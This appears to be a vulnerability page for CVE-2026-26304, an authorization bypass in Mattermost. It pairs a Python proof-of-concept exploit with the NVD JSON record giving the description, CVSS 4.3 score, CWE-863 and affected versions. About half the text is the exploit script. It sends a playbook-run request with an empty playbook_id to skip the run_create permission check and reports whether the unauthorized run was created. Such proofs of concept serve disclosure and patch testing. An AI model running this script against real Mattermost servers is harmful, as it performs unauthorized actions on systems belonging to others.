CVE-2026-26304

import requests import json # CVE-2026-26304 PoC - Mattermost Unauthorized Run Creation # Target: Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2 TARGET_URL = "http://target-mattermost-server.com" API_TOKEN = "your_mattermost_api_token" TEAM_ID = "target_team_id" def create_unauthorized_run(): """ Exploit for CVE-2026-26304 This PoC demonstrates how to create unauthorized runs via playbook run API with empty playbookId bypassing run_create permission check. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload with empty playbookId to bypass permission check payload = { "team_id": TEAM_ID, "name": "Unauthorized Run", "playbook_id": "", # Empty playbookId bypasses permission check "description": "This run was created without proper authorization" } endpoint = f"{TARGET_URL}/api/v4/playbooks/runs" try: response = requests.post(endpoint, headers=headers, json=payload, timeout=30) if response.status_code == 201: print("[+] SUCCESS: Unauthorized run created!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True elif response.status_code == 403: print("[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": print("CVE-2026-26304 PoC - Mattermost Authorization Bypass") print("=" * 60) create_unauthorized_run()

{"cve": {"id": "CVE-2026-26304", "sourceIdentifier": "[email protected]", "published": "2026-03-16T20:16:17.730", "lastModified": "2026-03-18T13:56:31.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2 fail to verify run_create permission for empty playbookId, which allows team members to create unauthorized runs via the playbook run API. Mattermost Advisory ID: MMSA-2025-00542"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2 no verifican el permiso run_create para un playbookId vacío, lo que permite a los miembros del equipo crear ejecuciones no autorizadas a través de la API de ejecución de playbooks. ID de Aviso de Mattermost: MMSA-2025-00542"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}